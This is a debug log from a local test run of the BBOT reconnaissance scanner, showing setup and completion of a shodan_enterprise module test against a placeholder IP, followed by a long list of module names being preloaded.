/Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/j7ey71e32z3akvkagpm6 -2026-02-27 18:47:05,793 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-hEZ38Iko-py3.10/lib/python3.10/site-packages (from tldextract->shodan) (3.18.0) -2026-02-27 18:47:05,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" -2026-02-27 18:47:05,794 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} -2026-02-27 18:47:05,795 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" -2026-02-27 18:47:05,796 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 scan modules: shodan_enterprise -2026-02-27 18:47:05,926 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "shodan_enterprise" -2026-02-27 18:47:05,927 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 18:47:05,927 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 18:47:05,928 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 18:47:05,929 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 18:47:05,929 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 18:47:05,929 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 18:47:05,931 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 18:47:05,931 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 18:47:05,932 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 18:47:05,932 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 18:47:05,933 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 18:47:05,934 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 18:47:05,935 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 18:47:05,935 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 18:47:05,935 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 18:47:05,936 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 18:47:05,936 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 18:47:05,936 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 18:47:05,937 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 18:47:05,937 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 18:47:05,938 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 18:47:05,938 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 18:47:05,939 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 18:47:05,940 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 18:47:05,941 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 18:47:05,942 [INFO] bbot.scanner scanner.py:1191 Setup soft-failed for shodan_enterprise: No API key specified -2026-02-27 18:47:05,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 18:47:05,942 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 18:47:05,943 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 18:47:05,943 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 18:47:05,944 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 18:47:05,944 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 5/6 modules. -2026-02-27 18:47:05,944 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 18:47:05,945 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 18:47:06,183 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_joagcwptcn -2026-02-27 18:47:06,183 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 18:47:06,317 [VERBOSE] bbot.scanner scanner.py:1181 5 modules started -2026-02-27 18:47:06,317 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 18:47:06,318 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 18:47:06,319 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 18:47:06,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:47:06,421 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:47:06,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:47:06,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-02-27 18:47:06,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 18:47:06,425 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 18:47:06,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:47:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 18:47:06,428 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:47:06,429 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:47:06,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 18:47:06,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 18:47:06,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 18:47:06,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 18:47:06,432 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 18:47:06,438 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 18:47:06,440 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 18:47:06,440 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 18:47:06,441 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 18:47:06,442 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 18:47:06,519 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 18:47:06,520 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:8dfc37845b6c6e47794764f18ddd480554230950', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 18:47:06,520 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 18:47:06,521 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("1.2.3.4", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 18:47:06,521 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 18:47:06,521 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 18:47:06,522 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 18:47:06,522 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 18:47:06,523 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 18:47:06,523 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 18:47:06,622 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 18:47:06,623 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 18:47:06,642 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 18:47:06,643 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 18:47:06,643 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 40 tasks -2026-02-27 18:47:06,652 [DEBUG] bbot.scanner scanner.py:1176 Awaited 40 tasks -2026-02-27 18:47:06,653 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 18:47:06,654 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to CLEANING_UP -2026-02-27 18:47:06,655 [VERBOSE] bbot.core.dnsengine engine.py:509 EngineServer DNSEngine got shutdown signal -2026-02-27 18:47:06,656 [VERBOSE] bbot.core.dnsengine engine.py:551 EngineServer DNSEngine: shutting down... -2026-02-27 18:47:06,658 [VERBOSE] bbot.core.dnsengine engine.py:564 EngineServer DNSEngine: finished shutting down -2026-02-27 18:47:06,804 [HUGESUCCESS] bbot.scanner scanner.py:1206 Scan testshodan_enterprise_test_joagcwptcn completed in 0 seconds with status FINISHED -2026-02-27 18:47:06,805 [DEBUG] bbot base.py:113 Finished shodan_enterprise module test -2026-02-27 18:47:06,807 [DEBUG] asyncio selector_events.py:54 Using selector: KqueueSelector -2026-02-27 18:47:06,809 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] -2026-02-27 18:47:06,809 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] -2026-02-27 18:47:06,810 [INFO] bbot test_module_shodan_enterprise.py:13 ['1.2.3.4'] -2026-02-27 18:47:06,810 [INFO] bbot.test.shodan_enterprise base.py:125 Finished shodan_enterprise module test -2026-02-27 18:47:06,810 [INFO] bbot.test.shodan_enterprise base.py:131 No unfinished tasks detected -2026-02-27 18:49:26,216 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/report -2026-02-27 18:49:26,229 [DEBUG] bbot.module_loader modules.py:152 Preloading asn from cache -2026-02-27 18:49:26,230 [DEBUG] bbot.module_loader modules.py:152 Preloading affiliates from cache -2026-02-27 18:49:26,231 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/deadly -2026-02-27 18:49:26,232 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache -2026-02-27 18:49:26,233 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/output -2026-02-27 18:49:26,234 [DEBUG] bbot.module_loader modules.py:152 Preloading web_parameters from cache -2026-02-27 18:49:26,234 [DEBUG] bbot.module_loader modules.py:152 Preloading discord from cache -2026-02-27 18:49:26,236 [DEBUG] bbot.module_loader modules.py:152 Preloading emails from cache -2026-02-27 18:49:26,237 [DEBUG] bbot.module_loader modules.py:152 Preloading teams from cache -2026-02-27 18:49:26,238 [DEBUG] bbot.module_loader modules.py:152 Preloading txt from cache -2026-02-27 18:49:26,239 [DEBUG] bbot.module_loader modules.py:152 Preloading neo4j from cache -2026-02-27 18:49:26,240 [DEBUG] bbot.module_loader modules.py:152 Preloading asset_inventory from cache -2026-02-27 18:49:26,241 [DEBUG] bbot.module_loader modules.py:152 Preloading sqlite from cache -2026-02-27 18:49:26,241 [DEBUG] bbot.module_loader modules.py:152 Preloading web_report from cache -2026-02-27 18:49:26,242 [DEBUG] bbot.module_loader modules.py:152 Preloading http from cache -2026-02-27 18:49:26,244 [DEBUG] bbot.module_loader modules.py:152 Preloading csv from cache -2026-02-27 18:49:26,244 [DEBUG] bbot.module_loader modules.py:152 Preloading postgres from cache -2026-02-27 18:49:26,245 [DEBUG] bbot.module_loader modules.py:152 Preloading python from cache -2026-02-27 18:49:26,246 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomains from cache -2026-02-27 18:49:26,247 [DEBUG] bbot.module_loader modules.py:152 Preloading stdout from cache -2026-02-27 18:49:26,248 [DEBUG] bbot.module_loader modules.py:152 Preloading nmap_xml from cache -2026-02-27 18:49:26,249 [DEBUG] bbot.module_loader modules.py:152 Preloading json from cache -2026-02-27 18:49:26,250 [DEBUG] bbot.module_loader modules.py:152 Preloading slack from cache -2026-02-27 18:49:26,251 [DEBUG] bbot.module_loader modules.py:152 Preloading splunk from cache -2026-02-27 18:49:26,252 [DEBUG] bbot.module_loader modules.py:152 Preloading mysql from cache -2026-02-27 18:49:26,253 [DEBUG] bbot.module_loader modules.py:152 Preloading websocket from cache -2026-02-27 18:49:26,253 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz -2026-02-27 18:49:26,254 [DEBUG] bbot.module_loader modules.py:152 Preloading lightfuzz from cache -2026-02-27 18:49:26,255 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules -2026-02-27 18:49:26,256 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk -2026-02-27 18:49:26,257 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module -2026-02-27 18:49:26,257 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk -2026-02-27 18:49:26,258 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module -2026-02-27 18:49:26,259 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk -2026-02-27 18:49:26,261 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module -2026-02-27 18:49:26,262 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk -2026-02-27 18:49:26,265 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module -2026-02-27 18:49:26,266 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk -2026-02-27 18:49:26,267 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module -2026-02-27 18:49:26,268 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk -2026-02-27 18:49:26,269 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module -2026-02-27 18:49:26,270 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk -2026-02-27 18:49:26,271 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module -2026-02-27 18:49:26,272 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk -2026-02-27 18:49:26,273 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module -2026-02-27 18:49:26,273 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/internal -2026-02-27 18:49:26,274 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache -2026-02-27 18:49:26,274 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache -2026-02-27 18:49:26,275 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache -2026-02-27 18:49:26,276 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache -2026-02-27 18:49:26,277 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache -2026-02-27 18:49:26,278 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache -2026-02-27 18:49:26,278 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules/templates -2026-02-27 18:49:26,279 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/bbot/bbot/modules -2026-02-27 18:49:26,280 [DEBUG] bbot.module_loader modules.py:152 Preloading urlscan from cache -2026-02-27 18:49:26,280 [DEBUG] bbot.module_loader modules.py:152 Preloading jadx from cache -2026-02-27 18:49:26,281 [DEBUG] bbot.module_loader modules.py:152 Preloading trufflehog from cache -2026-02-27 18:49:26,282 [DEBUG] bbot.module_loader modules.py:152 Preloading host_header from cache -2026-02-27 18:49:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytxt from cache -2026-02-27 18:49:26,283 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsdumpster from cache -2026-02-27 18:49:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading bevigil from cache -2026-02-27 18:49:26,284 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_google from cache -2026-02-27 18:49:26,285 [DEBUG] bbot.module_loader modules.py:152 Preloading git from cache -2026-02-27 18:49:26,285 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_realm from cache -2026-02-27 18:49:26,286 [DEBUG] bbot.module_loader modules.py:152 Preloading extractous from cache -2026-02-27 18:49:26,290 [DEBUG] bbot.module_loader modules.py:152 Preloading credshed from cache -2026-02-27 18:49:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading fullhunt from cache -2026-02-27 18:49:26,291 [DEBUG] bbot.module_loader modules.py:152 Preloading social from cache -2026-02-27 18:49:26,292 [DEBUG] bbot.module_loader modules.py:152 Preloading pgp from cache -2026-02-27 18:49:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading azure_tenant from cache -2026-02-27 18:49:26,293 [DEBUG] bbot.module_loader modules.py:152 Preloading virustotal from cache -2026-02-27 18:49:26,294 [DEBUG] bbot.module_loader modules.py:152 Preloading vhost from cache -2026-02-27 18:49:26,295 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_enterprise from cache -2026-02-27 18:49:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute from cache -2026-02-27 18:49:26,296 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_dns from cache -2026-02-27 18:49:26,297 [DEBUG] bbot.module_loader modules.py:152 Preloading ip2location from cache -2026-02-27 18:49:26,298 [DEBUG] bbot.module_loader modules.py:152 Preloading rapiddns from cache -2026-02-27 18:49:26,299 [DEBUG] bbot.module_loader modules.py:152 Preloading wpscan from cache -2026-02-27 18:49:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscommonsrv from cache -2026-02-27 18:49:26,300 [DEBUG] bbot.module_loader modules.py:152 Preloading passivetotal from cache -2026-02-27 18:49:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading ntlm from cache -2026-02-27 18:49:26,301 [DEBUG] bbot.module_loader modules.py:152 Preloading trickest from cache -2026-02-27 18:49:26,302 [DEBUG] bbot.module_loader modules.py:152 Preloading google_playstore from cache -2026-02-27 18:49:26,302 [DEBUG] bbot.module_loader modules.py:152 Preloading github_usersearch from cache -2026-02-27 18:49:26,303 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomainradar from cache -2026-02-27 18:49:26,304 [DEBUG] bbot.module_loader modules.py:152 Preloading dockerhub from cache -2026-02-27 18:49:26,304 [DEBUG] bbot.module_loader modules.py:152 Preloading medusa from cache -2026-02-27 18:49:26,305 [DEBUG] bbot.module_loader modules.py:152 Preloading digitorus from cache -2026-02-27 18:49:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading wafw00f from cache -2026-02-27 18:49:26,306 [DEBUG] bbot.module_loader modules.py:152 Preloading generic_ssrf from cache -2026-02-27 18:49:26,307 [DEBUG] bbot.module_loader modules.py:152 Preloading filedownload from cache -2026-02-27 18:49:26,312 [DEBUG] bbot.module_loader modules.py:152 Preloading chaos from cache -2026-02-27 18:49:26,313 [DEBUG] bbot.module_loader modules.py:152 Preloading httpx from cache -2026-02-27 18:49:26,314 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_zone from cache -2026-02-27 18:49:26,315 [DEBUG] bbot.module_loader modules.py:152 Preloading graphql_introspection from cache -2026-02-27 18:49:26,316 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_headers from cache -2026-02-27 18:49:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading securitytrails from cache -2026-02-27 18:49:26,317 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_microsoft from cache -2026-02-27 18:49:26,318 [DEBUG] bbot.module_loader modules.py:152 Preloading viewdns from cache -2026-02-27 18:49:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading url_manipulation from cache -2026-02-27 18:49:26,319 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf_shortnames from cache -2026-02-27 18:49:26,320 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_ip from cache -2026-02-27 18:49:26,321 [DEBUG] bbot.module_loader modules.py:152 Preloading builtwith from cache -2026-02-27 18:49:26,322 [DEBUG] bbot.module_loader modules.py:152 Preloading certspotter from cache -2026-02-27 18:49:26,323 [DEBUG] bbot.module_loader modules.py:152 Preloading sslcert from cache -2026-02-27 18:49:26,323 [DEBUG] bbot.module_loader modules.py:152 Preloading gitdumper from cache -2026-02-27 18:49:26,324 [DEBUG] bbot.module_loader modules.py:152 Preloading shodan_idb from cache -2026-02-27 18:49:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading hackertarget from cache -2026-02-27 18:49:26,325 [DEBUG] bbot.module_loader modules.py:152 Preloading c99 from cache -2026-02-27 18:49:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading newsletters from cache -2026-02-27 18:49:26,326 [DEBUG] bbot.module_loader modules.py:152 Preloading apkpure from cache -2026-02-27 18:49:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading crt from cache -2026-02-27 18:49:26,327 [DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache -2026-02-27 18:49:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache -2026-02-27 18:49:26,328 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache -2026-02-27 18:49:26,329 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache -2026-02-27 18:49:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache -2026-02-27 18:49:26,330 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache -2026-02-27 18:49:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache -2026-02-27 18:49:26,332 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache -2026-02-27 18:49:26,333 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache -2026-02-27 18:49:26,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache -2026-02-27 18:49:26,334 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache -2026-02-27 18:49:26,335 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache -2026-02-27 18:49:26,335 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache -2026-02-27 18:49:26,336 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache -2026-02-27 18:49:26,336 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache -2026-02-27 18:49:26,337 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache -2026-02-27 18:49:26,337 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache -2026-02-27 18:49:26,338 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache -2026-02-27 18:49:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache -2026-02-27 18:49:26,339 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache -2026-02-27 18:49:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache -2026-02-27 18:49:26,340 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache -2026-02-27 18:49:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache -2026-02-27 18:49:26,341 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache -2026-02-27 18:49:26,342 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache -2026-02-27 18:49:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache -2026-02-27 18:49:26,343 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache -2026-02-27 18:49:26,344 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache 